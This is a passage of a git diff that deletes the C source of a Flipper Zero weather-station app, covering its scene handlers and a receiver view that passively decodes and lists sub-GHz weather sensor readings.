notification_message(app->notifications, &subghs_sequence_rx_locked); - } - } - subghz_receiver_reset(receiver); - furi_string_free(str_buff); - app->txrx->rx_key_state = WSRxKeyStateAddKey; -} - -void weather_station_scene_receiver_on_enter(void* context) { - WeatherStationApp* app = context; - - FuriString* str_buff; - str_buff = furi_string_alloc(); - - if(app->txrx->rx_key_state == WSRxKeyStateIDLE) { - ws_preset_init(app, "AM650", subghz_setting_get_default_frequency(app->setting), NULL, 0); - ws_history_reset(app->txrx->history); - app->txrx->rx_key_state = WSRxKeyStateStart; - } - - ws_view_receiver_set_lock(app->ws_receiver, app->lock); - - //Load history to receiver - ws_view_receiver_exit(app->ws_receiver); - for(uint8_t i = 0; i < ws_history_get_item(app->txrx->history); i++) { - furi_string_reset(str_buff); - ws_history_get_text_item_menu(app->txrx->history, str_buff, i); - ws_view_receiver_add_item_to_menu( - app->ws_receiver, - furi_string_get_cstr(str_buff), - ws_history_get_type_protocol(app->txrx->history, i)); - app->txrx->rx_key_state = WSRxKeyStateAddKey; - } - furi_string_free(str_buff); - weather_station_scene_receiver_update_statusbar(app); - - ws_view_receiver_set_callback(app->ws_receiver, weather_station_scene_receiver_callback, app); - subghz_receiver_set_rx_callback( - app->txrx->receiver, weather_station_scene_receiver_add_to_history_callback, app); - - if(app->txrx->txrx_state == WSTxRxStateRx) { - ws_rx_end(app); - }; - if((app->txrx->txrx_state == WSTxRxStateIDLE) || (app->txrx->txrx_state == WSTxRxStateSleep)) { - ws_begin( - app, - subghz_setting_get_preset_data_by_name( - app->setting, furi_string_get_cstr(app->txrx->preset->name))); - - ws_rx(app, app->txrx->preset->frequency); - } - - ws_view_receiver_set_idx_menu(app->ws_receiver, app->txrx->idx_menu_chosen); - view_dispatcher_switch_to_view(app->view_dispatcher, WeatherStationViewReceiver); -} - -bool weather_station_scene_receiver_on_event(void* context, SceneManagerEvent event) { - WeatherStationApp* app = context; - bool consumed = false; - if(event.type == SceneManagerEventTypeCustom) { - switch(event.event) { - case WSCustomEventViewReceiverBack: - // Stop CC1101 Rx - if(app->txrx->txrx_state == WSTxRxStateRx) { - ws_rx_end(app); - ws_sleep(app); - }; - app->txrx->hopper_state = WSHopperStateOFF; - app->txrx->idx_menu_chosen = 0; - subghz_receiver_set_rx_callback(app->txrx->receiver, NULL, app); - - app->txrx->rx_key_state = WSRxKeyStateIDLE; - ws_preset_init( - app, "AM650", subghz_setting_get_default_frequency(app->setting), NULL, 0); - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, WeatherStationSceneStart); - consumed = true; - break; - case WSCustomEventViewReceiverOK: - app->txrx->idx_menu_chosen = ws_view_receiver_get_idx_menu(app->ws_receiver); - scene_manager_next_scene(app->scene_manager, WeatherStationSceneReceiverInfo); - consumed = true; - break; - case WSCustomEventViewReceiverConfig: - app->txrx->idx_menu_chosen = ws_view_receiver_get_idx_menu(app->ws_receiver); - scene_manager_next_scene(app->scene_manager, WeatherStationSceneReceiverConfig); - consumed = true; - break; - case WSCustomEventViewReceiverOffDisplay: - notification_message(app->notifications, &sequence_display_backlight_off); - consumed = true; - break; - case WSCustomEventViewReceiverUnlock: - app->lock = WSLockOff; - consumed = true; - break; - default: - break; - } - } else if(event.type == SceneManagerEventTypeTick) { - if(app->txrx->hopper_state != WSHopperStateOFF) { - ws_hopper_update(app); - weather_station_scene_receiver_update_statusbar(app); - } - // Get current RSSI - float rssi = subghz_devices_get_rssi(app->txrx->radio_device); - ws_view_receiver_set_rssi(app->ws_receiver, rssi); - - if(app->txrx->txrx_state == WSTxRxStateRx) { - notification_message(app->notifications, &sequence_blink_cyan_10); - } - } - return consumed; -} - -void weather_station_scene_receiver_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/weather_station/scenes/weather_station_scene.c b/applications/external/weather_station/scenes/weather_station_scene.c deleted file mode 100644 index f9306e5f4..000000000 --- a/applications/external/weather_station/scenes/weather_station_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "../weather_station_app_i.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const weather_station_scene_on_enter_handlers[])(void*) = { -#include "weather_station_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const weather_station_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "weather_station_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const weather_station_scene_on_exit_handlers[])(void* context) = { -#include "weather_station_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers weather_station_scene_handlers = { - .on_enter_handlers = weather_station_scene_on_enter_handlers, - .on_event_handlers = weather_station_scene_on_event_handlers, - .on_exit_handlers = weather_station_scene_on_exit_handlers, - .scene_num = WeatherStationSceneNum, -}; diff --git a/applications/external/weather_station/scenes/weather_station_scene.h b/applications/external/weather_station/scenes/weather_station_scene.h deleted file mode 100644 index 8cee4ee60..000000000 --- a/applications/external/weather_station/scenes/weather_station_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) WeatherStationScene##id, -typedef enum { -#include "weather_station_scene_config.h" - WeatherStationSceneNum, -} WeatherStationScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers weather_station_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "weather_station_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "weather_station_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "weather_station_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/weather_station/scenes/weather_station_scene_about.c b/applications/external/weather_station/scenes/weather_station_scene_about.c deleted file mode 100644 index d916dc76f..000000000 --- a/applications/external/weather_station/scenes/weather_station_scene_about.c +++ /dev/null @@ -1,78 +0,0 @@ -#include "../weather_station_app_i.h" -#include "../helpers/weather_station_types.h" - -void weather_station_scene_about_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - WeatherStationApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void weather_station_scene_about_on_enter(void* context) { - WeatherStationApp* app = context; - - FuriString* temp_str; - temp_str = furi_string_alloc(); - furi_string_printf(temp_str, "\e#%s\n", "Information"); - - furi_string_cat_printf(temp_str, "Version: %s\n", WS_VERSION_APP); - furi_string_cat_printf(temp_str, "Developed by: %s\n", WS_DEVELOPED); - furi_string_cat_printf(temp_str, "Github: %s\n\n", WS_GITHUB); - - furi_string_cat_printf(temp_str, "\e#%s\n", "Description"); - furi_string_cat_printf( - temp_str, "Reading messages from\nweather stations that work\nwith SubGhz sensors\n\n"); - - furi_string_cat_printf(temp_str, "Supported protocols:\n"); - size_t i = 0; - const char* protocol_name = - subghz_environment_get_protocol_name_registry(app->txrx->environment, i++); - do { - furi_string_cat_printf(temp_str, "%s\n", protocol_name); - protocol_name = subghz_environment_get_protocol_name_registry(app->txrx->environment, i++); - } while(protocol_name != NULL); - - widget_add_text_box_element( - app->widget, - 0, - 0, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! \e!\n", - false); - widget_add_text_box_element( - app->widget, - 0, - 2, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! Weather station \e!\n", - false); - widget_add_text_scroll_element(app->widget, 0, 16, 128, 50, furi_string_get_cstr(temp_str)); - furi_string_free(temp_str); - - view_dispatcher_switch_to_view(app->view_dispatcher, WeatherStationViewWidget); -} - -bool weather_station_scene_about_on_event(void* context, SceneManagerEvent event) { - WeatherStationApp* app = context; - bool consumed = false; - UNUSED(app); - UNUSED(event); - - return consumed; -} - -void weather_station_scene_about_on_exit(void* context) { - WeatherStationApp* app = context; - - // Clear views - widget_reset(app->widget); -} diff --git a/applications/external/weather_station/scenes/weather_station_scene_config.h b/applications/external/weather_station/scenes/weather_station_scene_config.h deleted file mode 100644 index 0ba8ec013..000000000 --- a/applications/external/weather_station/scenes/weather_station_scene_config.h +++ /dev/null @@ -1,5 +0,0 @@ -ADD_SCENE(weather_station, start, Start) -ADD_SCENE(weather_station, about, About) -ADD_SCENE(weather_station, receiver, Receiver) -ADD_SCENE(weather_station, receiver_config, ReceiverConfig) -ADD_SCENE(weather_station, receiver_info, ReceiverInfo) diff --git a/applications/external/weather_station/scenes/weather_station_scene_receiver_config.c b/applications/external/weather_station/scenes/weather_station_scene_receiver_config.c deleted file mode 100644 index fcd8f6d3e..000000000 --- a/applications/external/weather_station/scenes/weather_station_scene_receiver_config.c +++ /dev/null @@ -1,223 +0,0 @@ -#include "../weather_station_app_i.h" - -enum WSSettingIndex { - WSSettingIndexFrequency, - WSSettingIndexHopping, - WSSettingIndexModulation, - WSSettingIndexLock, -}; - -#define HOPPING_COUNT 2 -const char* const hopping_text[HOPPING_COUNT] = { - "OFF", - "ON", -}; -const uint32_t hopping_value[HOPPING_COUNT] = { - WSHopperStateOFF, - WSHopperStateRunnig, -}; - -uint8_t weather_station_scene_receiver_config_next_frequency(const uint32_t value, void* context) { - furi_assert(context); - WeatherStationApp* app = context; - uint8_t index = 0; - for(uint8_t i = 0; i < subghz_setting_get_frequency_count(app->setting); i++) { - if(value == subghz_setting_get_frequency(app->setting, i)) { - index = i; - break; - } else { - index = subghz_setting_get_frequency_default_index(app->setting); - } - } - return index; -} - -uint8_t weather_station_scene_receiver_config_next_preset(const char* preset_name, void* context) { - furi_assert(context); - WeatherStationApp* app = context; - uint8_t index = 0; - for(uint8_t i = 0; i < subghz_setting_get_preset_count(app->setting); i++) { - if(!strcmp(subghz_setting_get_preset_name(app->setting, i), preset_name)) { - index = i; - break; - } else { - // index = subghz_setting_get_frequency_default_index(app ->setting); - } - } - return index; -} - -uint8_t weather_station_scene_receiver_config_hopper_value_index( - const uint32_t value, - const uint32_t values[], - uint8_t values_count, - void* context) { - furi_assert(context); - UNUSED(values_count); - WeatherStationApp* app = context; - - if(value == values[0]) { - return 0; - } else { - variable_item_set_current_value_text( - (VariableItem*)scene_manager_get_scene_state( - app->scene_manager, WeatherStationSceneReceiverConfig), - " -----"); - return 1; - } -} - -static void weather_station_scene_receiver_config_set_frequency(VariableItem* item) { - WeatherStationApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - if(app->txrx->hopper_state == WSHopperStateOFF) { - char text_buf[10] = {0}; - snprintf( - text_buf, - sizeof(text_buf), - "%lu.%02lu", - subghz_setting_get_frequency(app->setting, index) / 1000000, - (subghz_setting_get_frequency(app->setting, index) % 1000000) / 10000); - variable_item_set_current_value_text(item, text_buf); - app->txrx->preset->frequency = subghz_setting_get_frequency(app->setting, index); - } else { - variable_item_set_current_value_index( - item, subghz_setting_get_frequency_default_index(app->setting)); - } -} - -static void weather_station_scene_receiver_config_set_preset(VariableItem* item) { - WeatherStationApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text( - item, subghz_setting_get_preset_name(app->setting, index)); - ws_preset_init( - app, - subghz_setting_get_preset_name(app->setting, index), - app->txrx->preset->frequency, - subghz_setting_get_preset_data(app->setting, index), - subghz_setting_get_preset_data_size(app->setting, index)); -} - -static void weather_station_scene_receiver_config_set_hopping_running(VariableItem* item) { - WeatherStationApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, hopping_text[index]); - if(hopping_value[index] == WSHopperStateOFF) { - char text_buf[10] = {0}; - snprintf( - text_buf, - sizeof(text_buf), - "%lu.%02lu", - subghz_setting_get_default_frequency(app->setting) / 1000000, - (subghz_setting_get_default_frequency(app->setting) % 1000000) / 10000); - variable_item_set_current_value_text( - (VariableItem*)scene_manager_get_scene_state( - app->scene_manager, WeatherStationSceneReceiverConfig), - text_buf); - app->txrx->preset->frequency = subghz_setting_get_default_frequency(app->setting); - variable_item_set_current_value_index( - (VariableItem*)scene_manager_get_scene_state( - app->scene_manager, WeatherStationSceneReceiverConfig), - subghz_setting_get_frequency_default_index(app->setting)); - } else { - variable_item_set_current_value_text( - (VariableItem*)scene_manager_get_scene_state( - app->scene_manager, WeatherStationSceneReceiverConfig), - " -----"); - variable_item_set_current_value_index( - (VariableItem*)scene_manager_get_scene_state( - app->scene_manager, WeatherStationSceneReceiverConfig), - subghz_setting_get_frequency_default_index(app->setting)); - } - - app->txrx->hopper_state = hopping_value[index]; -} - -static void - weather_station_scene_receiver_config_var_list_enter_callback(void* context, uint32_t index) { - furi_assert(context); - WeatherStationApp* app = context; - if(index == WSSettingIndexLock) { - view_dispatcher_send_custom_event(app->view_dispatcher, WSCustomEventSceneSettingLock); - } -} - -void weather_station_scene_receiver_config_on_enter(void* context) { - WeatherStationApp* app = context; - VariableItem* item; - uint8_t value_index; - - item = variable_item_list_add( - app->variable_item_list, - "Frequency:", - subghz_setting_get_frequency_count(app->setting), - weather_station_scene_receiver_config_set_frequency, - app); - value_index = - weather_station_scene_receiver_config_next_frequency(app->txrx->preset->frequency, app); - scene_manager_set_scene_state( - app->scene_manager, WeatherStationSceneReceiverConfig, (uint32_t)item); - variable_item_set_current_value_index(item, value_index); - char text_buf[10] = {0}; - snprintf( - text_buf, - sizeof(text_buf), - "%lu.%02lu", - subghz_setting_get_frequency(app->setting, value_index) / 1000000, - (subghz_setting_get_frequency(app->setting, value_index) % 1000000) / 10000); - variable_item_set_current_value_text(item, text_buf); - - item = variable_item_list_add( - app->variable_item_list, - "Hopping:", - HOPPING_COUNT, - weather_station_scene_receiver_config_set_hopping_running, - app); - value_index = weather_station_scene_receiver_config_hopper_value_index( - app->txrx->hopper_state, hopping_value, HOPPING_COUNT, app); - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, hopping_text[value_index]); - - item = variable_item_list_add( - app->variable_item_list, - "Modulation:", - subghz_setting_get_preset_count(app->setting), - weather_station_scene_receiver_config_set_preset, - app); - value_index = weather_station_scene_receiver_config_next_preset( - furi_string_get_cstr(app->txrx->preset->name), app); - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text( - item, subghz_setting_get_preset_name(app->setting, value_index)); - - variable_item_list_add(app->variable_item_list, "Lock Keyboard", 1, NULL, NULL); - variable_item_list_set_enter_callback( - app->variable_item_list, - weather_station_scene_receiver_config_var_list_enter_callback, - app); - - view_dispatcher_switch_to_view(app->view_dispatcher, WeatherStationViewVariableItemList); -} - -bool weather_station_scene_receiver_config_on_event(void* context, SceneManagerEvent event) { - WeatherStationApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == WSCustomEventSceneSettingLock) { - app->lock = WSLockOn; - scene_manager_previous_scene(app->scene_manager); - consumed = true; - } - } - return consumed; -} - -void weather_station_scene_receiver_config_on_exit(void* context) { - WeatherStationApp* app = context; - variable_item_list_set_selected_item(app->variable_item_list, 0); - variable_item_list_reset(app->variable_item_list); -} diff --git a/applications/external/weather_station/scenes/weather_station_scene_receiver_info.c b/applications/external/weather_station/scenes/weather_station_scene_receiver_info.c deleted file mode 100644 index b26661be3..000000000 --- a/applications/external/weather_station/scenes/weather_station_scene_receiver_info.c +++ /dev/null @@ -1,50 +0,0 @@ -#include "../weather_station_app_i.h" -#include "../views/weather_station_receiver.h" - -void weather_station_scene_receiver_info_callback(WSCustomEvent event, void* context) { - furi_assert(context); - WeatherStationApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -static void weather_station_scene_receiver_info_add_to_history_callback( - SubGhzReceiver* receiver, - SubGhzProtocolDecoderBase* decoder_base, - void* context) { - furi_assert(context); - WeatherStationApp* app = context; - - if(ws_history_add_to_history(app->txrx->history, decoder_base, app->txrx->preset) == - WSHistoryStateAddKeyUpdateData) { - ws_view_receiver_info_update( - app->ws_receiver_info, - ws_history_get_raw_data(app->txrx->history, app->txrx->idx_menu_chosen)); - subghz_receiver_reset(receiver); - - notification_message(app->notifications, &sequence_blink_green_10); - app->txrx->rx_key_state = WSRxKeyStateAddKey; - } -} - -void weather_station_scene_receiver_info_on_enter(void* context) { - WeatherStationApp* app = context; - - subghz_receiver_set_rx_callback( - app->txrx->receiver, weather_station_scene_receiver_info_add_to_history_callback, app); - ws_view_receiver_info_update( - app->ws_receiver_info, - ws_history_get_raw_data(app->txrx->history, app->txrx->idx_menu_chosen)); - view_dispatcher_switch_to_view(app->view_dispatcher, WeatherStationViewReceiverInfo); -} - -bool weather_station_scene_receiver_info_on_event(void* context, SceneManagerEvent event) { - WeatherStationApp* app = context; - bool consumed = false; - UNUSED(app); - UNUSED(event); - return consumed; -} - -void weather_station_scene_receiver_info_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/weather_station/scenes/weather_station_scene_start.c b/applications/external/weather_station/scenes/weather_station_scene_start.c deleted file mode 100644 index 56dd6fa86..000000000 --- a/applications/external/weather_station/scenes/weather_station_scene_start.c +++ /dev/null @@ -1,58 +0,0 @@ -#include "../weather_station_app_i.h" - -typedef enum { - SubmenuIndexWeatherStationReceiver, - SubmenuIndexWeatherStationAbout, -} SubmenuIndex; - -void weather_station_scene_start_submenu_callback(void* context, uint32_t index) { - WeatherStationApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void weather_station_scene_start_on_enter(void* context) { - UNUSED(context); - WeatherStationApp* app = context; - Submenu* submenu = app->submenu; - - submenu_add_item( - submenu, - "Read Weather Station", - SubmenuIndexWeatherStationReceiver, - weather_station_scene_start_submenu_callback, - app); - submenu_add_item( - submenu, - "About", - SubmenuIndexWeatherStationAbout, - weather_station_scene_start_submenu_callback, - app); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, WeatherStationSceneStart)); - - view_dispatcher_switch_to_view(app->view_dispatcher, WeatherStationViewSubmenu); -} - -bool weather_station_scene_start_on_event(void* context, SceneManagerEvent event) { - WeatherStationApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexWeatherStationAbout) { - scene_manager_next_scene(app->scene_manager, WeatherStationSceneAbout); - consumed = true; - } else if(event.event == SubmenuIndexWeatherStationReceiver) { - scene_manager_next_scene(app->scene_manager, WeatherStationSceneReceiver); - consumed = true; - } - scene_manager_set_scene_state(app->scene_manager, WeatherStationSceneStart, event.event); - } - - return consumed; -} - -void weather_station_scene_start_on_exit(void* context) { - WeatherStationApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/weather_station/views/weather_station_receiver.c b/applications/external/weather_station/views/weather_station_receiver.c deleted file mode 100644 index a29ff68f6..000000000 --- a/applications/external/weather_station/views/weather_station_receiver.c +++ /dev/null @@ -1,472 +0,0 @@ -#include "weather_station_receiver.h" -#include "../weather_station_app_i.h" -#include -#include - -#include -#include -#include - -#define FRAME_HEIGHT 12 -#define MAX_LEN_PX 112 -#define MENU_ITEMS 4u -#define UNLOCK_CNT 3 - -#define SUBGHZ_RAW_THRESHOLD_MIN -90.0f -typedef struct { - FuriString* item_str; - uint8_t type; -} WSReceiverMenuItem; - -ARRAY_DEF(WSReceiverMenuItemArray, WSReceiverMenuItem, M_POD_OPLIST) - -#define M_OPL_WSReceiverMenuItemArray_t() ARRAY_OPLIST(WSReceiverMenuItemArray, M_POD_OPLIST) - -struct WSReceiverHistory { - WSReceiverMenuItemArray_t data; -}; - -typedef struct WSReceiverHistory WSReceiverHistory; - -static const Icon* ReceiverItemIcons[] = { - [SubGhzProtocolTypeUnknown] = &I_Quest_7x8, - [SubGhzProtocolTypeStatic] = &I_Unlock_7x8, - [SubGhzProtocolTypeDynamic] = &I_Lock_7x8, - [SubGhzProtocolWeatherStation] = &I_station_icon, -}; - -typedef enum { - WSReceiverBarShowDefault, - WSReceiverBarShowLock, - WSReceiverBarShowToUnlockPress, - WSReceiverBarShowUnlock, -} WSReceiverBarShow; - -struct WSReceiver { - WSLock lock; - uint8_t lock_count; - FuriTimer* timer; - View* view; - WSReceiverCallback callback; - void* context; -}; - -typedef struct { - FuriString* frequency_str; - FuriString* preset_str; - FuriString* history_stat_str; - WSReceiverHistory* history; - uint16_t idx; - uint16_t list_offset; - uint16_t history_item; - WSReceiverBarShow bar_show; - uint8_t u_rssi; - bool external_redio; -} WSReceiverModel; - -void ws_view_receiver_set_rssi(WSReceiver* instance, float rssi) { - furi_assert(instance); - with_view_model( - instance->view, - WSReceiverModel * model, - { - if(rssi < SUBGHZ_RAW_THRESHOLD_MIN) { - model->u_rssi = 0; - } else { - model->u_rssi = (uint8_t)(rssi - SUBGHZ_RAW_THRESHOLD_MIN); - } - }, - true); -} - -void ws_view_receiver_set_lock(WSReceiver* ws_receiver, WSLock lock) { - furi_assert(ws_receiver); - ws_receiver->lock_count = 0; - if(lock == WSLockOn) { - ws_receiver->lock = lock; - with_view_model( - ws_receiver->view, - WSReceiverModel * model, - { model->bar_show = WSReceiverBarShowLock; }, - true); - furi_timer_start(ws_receiver->timer, pdMS_TO_TICKS(1000)); - } else { - with_view_model( - ws_receiver->view, - WSReceiverModel * model, - { model->bar_show = WSReceiverBarShowDefault; }, - true); - } -} - -void ws_view_receiver_set_callback( - WSReceiver* ws_receiver, - WSReceiverCallback callback, - void* context) { - furi_assert(ws_receiver); - furi_assert(callback); - ws_receiver->callback = callback; - ws_receiver->context = context; -} - -static void ws_view_receiver_update_offset(WSReceiver* ws_receiver) { - furi_assert(ws_receiver); - - with_view_model( - ws_receiver->view, - WSReceiverModel * model, - { - size_t history_item = model->history_item; - uint16_t bounds = history_item > 3 ? 2 : history_item; - - if(history_item > 3 && model->idx >= (int16_t)(history_item - 1)) { - model->list_offset = model->idx - 3; - } else if(model->list_offset < model->idx - bounds) { - model->list_offset = - CLAMP(model->list_offset + 1, (int16_t)(history_item - bounds), 0); - } else if(model->list_offset > model->idx - bounds) { - model->list_offset = CLAMP(model->idx - 1, (int16_t)(history_item - bounds), 0); - } - }, - true); -} - -void ws_view_receiver_add_item_to_menu(WSReceiver* ws_receiver, const char* name, uint8_t type) { - furi_assert(ws_receiver); - with_view_model( - ws_receiver->view, - WSReceiverModel * model, - { - WSReceiverMenuItem* item_menu = WSReceiverMenuItemArray_push_raw(model->history->data); - item_menu->item_str = furi_string_alloc_set(name); - item_menu->type = type; - if((model->idx == model->history_item - 1)) { - model->history_item++; - model->idx++; - } else { - model->history_item++; - } - }, - true); - ws_view_receiver_update_offset(ws_receiver); -} - -void ws_view_receiver_add_data_statusbar( - WSReceiver* ws_receiver, - const char* frequency_str, - const char* preset_str, - const char* history_stat_str, - bool external) { - furi_assert(ws_receiver); - with_view_model( - ws_receiver->view, - WSReceiverModel * model, - { - furi_string_set_str(model->frequency_str, frequency_str); - furi_string_set_str(model->preset_str, preset_str); - furi_string_set_str(model->history_stat_str, history_stat_str); - model->external_redio = external; - }, - true); -} - -static void ws_view_receiver_draw_frame(Canvas* canvas, uint16_t idx, bool scrollbar) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 0, 0 + idx * FRAME_HEIGHT, scrollbar ? 122 : 127, FRAME_HEIGHT); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_dot(canvas, 0, 0 + idx * FRAME_HEIGHT); - canvas_draw_dot(canvas, 1, 0 + idx * FRAME_HEIGHT); - canvas_draw_dot(canvas, 0, (0 + idx * FRAME_HEIGHT) + 1); - - canvas_draw_dot(canvas, 0, (0 + idx * FRAME_HEIGHT) + 11); - canvas_draw_dot(canvas, scrollbar ? 121 : 126, 0 + idx * FRAME_HEIGHT); - canvas_draw_dot(canvas, scrollbar ? 121 : 126, (0 + idx * FRAME_HEIGHT) + 11); -} - -static void ws_view_rssi_draw(Canvas* canvas, WSReceiverModel* model) { - for(uint8_t i = 1; i < model->u_rssi; i++) { - if(i % 5) { - canvas_draw_dot(canvas, 46 + i, 50); - canvas_draw_dot(canvas, 47 + i, 51); - canvas_draw_dot(canvas, 46 + i, 52); - } - } -} - -void ws_view_receiver_draw(Canvas* canvas, WSReceiverModel* model) { - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontSecondary); - - elements_button_left(canvas, "Config"); - - bool scrollbar = model->history_item > 4; - FuriString* str_buff; - str_buff = furi_string_alloc(); - - // bool ext_module = furi_hal_subghz_get_radio_type(); - - WSReceiverMenuItem* item_menu; - - for(size_t i = 0; i < MIN(model->history_item, MENU_ITEMS); ++i) { - size_t idx = CLAMP((uint16_t)(i + model->list_offset), model->history_item, 0); - item_menu = WSReceiverMenuItemArray_get(model->history->data, idx); - furi_string_set(str_buff, item_menu->item_str); - elements_string_fit_width(canvas, str_buff, scrollbar ? MAX_LEN_PX - 6 : MAX_LEN_PX); - if(model->idx == idx) { - ws_view_receiver_draw_frame(canvas, i, scrollbar); - } else { - canvas_set_color(canvas, ColorBlack); - } - canvas_draw_icon(canvas, 4, 2 + i * FRAME_HEIGHT, ReceiverItemIcons[item_menu->type]); - canvas_draw_str(canvas, 14, 9 + i * FRAME_HEIGHT, furi_string_get_cstr(str_buff)); - furi_string_reset(str_buff); - } - if(scrollbar) { - elements_scrollbar_pos(canvas, 128, 0, 49, model->idx, model->history_item); - } - furi_string_free(str_buff); - - canvas_set_color(canvas, ColorBlack); - - if(model->history_item == 0) { - canvas_draw_icon( - canvas, 0, 0, model->external_redio ? &I_Fishing_123x52 : &I_Scanning_123x52); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 63, 46, "Scanning..."); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 44, 10, model->external_redio ? "Ext" : "Int"); - } - - // Draw RSSI - ws_view_rssi_draw(canvas, model); - - switch(model->bar_show) { - case WSReceiverBarShowLock: - canvas_draw_icon(canvas, 64, 55, &I_Lock_7x8); - canvas_draw_str(canvas, 74, 62, "Locked"); - break; - case WSReceiverBarShowToUnlockPress: - canvas_draw_str(canvas, 44, 62, furi_string_get_cstr(model->frequency_str)); - canvas_draw_str(canvas, 79, 62, furi_string_get_cstr(model->preset_str)); - canvas_draw_str(canvas, 96, 62, furi_string_get_cstr(model->history_stat_str)); - canvas_set_font(canvas, FontSecondary); - elements_bold_rounded_frame(canvas, 14, 8, 99, 48); - elements_multiline_text(canvas, 65, 26, "To unlock\npress:"); - canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8); - canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8); - canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8); - canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42); - canvas_draw_dot(canvas, 17, 61); - break; - case WSReceiverBarShowUnlock: - canvas_draw_icon(canvas, 64, 55, &I_Unlock_7x8); - canvas_draw_str(canvas, 74, 62, "Unlocked"); - break; - default: - canvas_draw_str(canvas, 44, 62, furi_string_get_cstr(model->frequency_str)); - canvas_draw_str(canvas, 79, 62, furi_string_get_cstr(model->preset_str)); - canvas_draw_str(canvas, 96, 62, furi_string_get_cstr(model->history_stat_str)); - break; - } -} - -static void ws_view_receiver_timer_callback(void* context) { - furi_assert(context); - WSReceiver* ws_receiver = context; - with_view_model( - ws_receiver->view, - WSReceiverModel * model, - { model->bar_show = WSReceiverBarShowDefault; }, - true); - if(ws_receiver->lock_count < UNLOCK_CNT) { - ws_receiver->callback(WSCustomEventViewReceiverOffDisplay, ws_receiver->context); - } else { - ws_receiver->lock = WSLockOff; - ws_receiver->callback(WSCustomEventViewReceiverUnlock, ws_receiver->context); - } - ws_receiver->lock_count = 0; -} - -bool ws_view_receiver_input(InputEvent* event, void* context) { - furi_assert(context); - WSReceiver* ws_receiver = context; - - if(ws_receiver->lock == WSLockOn) { - with_view_model( - ws_receiver->view, - WSReceiverModel * model, - { model->bar_show = WSReceiverBarShowToUnlockPress; }, - true); - if(ws_receiver->lock_count == 0) { - furi_timer_start(ws_receiver->timer, pdMS_TO_TICKS(1000)); - } - if(event->key == InputKeyBack && event->type == InputTypeShort) { - ws_receiver->lock_count++; - } - if(ws_receiver->lock_count >= UNLOCK_CNT) { - ws_receiver->callback(WSCustomEventViewReceiverUnlock, ws_receiver->context); - with_view_model( - ws_receiver->view, - WSReceiverModel * model, - { model->bar_show = WSReceiverBarShowUnlock; }, - true); - ws_receiver->lock = WSLockOff; - furi_timer_start(ws_receiver->timer, pdMS_TO_TICKS(650)); - } - - return true; - } - - if(event->key == InputKeyBack && event->type == InputTypeShort) { - ws_receiver->callback(WSCustomEventViewReceiverBack, ws_receiver->context); - } else if( - event->key == InputKeyUp && - (event->type == InputTypeShort || event->type == InputTypeRepeat)) { - with_view_model( - ws_receiver->view, - WSReceiverModel * model, - { - if(model->idx != 0) model->idx--; - }, - true); - } else if( - event->key == InputKeyDown && - (event->type == InputTypeShort || event->type == InputTypeRepeat)) { - with_view_model( - ws_receiver->view, - WSReceiverModel * model, - { - if(model->history_item && model->idx != model->history_item - 1) model->idx++; - }, - true); - } else if(event->key == InputKeyLeft && event->type == InputTypeShort) { - ws_receiver->callback(WSCustomEventViewReceiverConfig, ws_receiver->context); - } else if(event->key == InputKeyOk && event->type == InputTypeShort) { - with_view_model( - ws_receiver->view, - WSReceiverModel * model, - { - if(model->history_item != 0) { - ws_receiver->callback(WSCustomEventViewReceiverOK, ws_receiver->context); - } - }, - false); - } - - ws_view_receiver_update_offset(ws_receiver); - 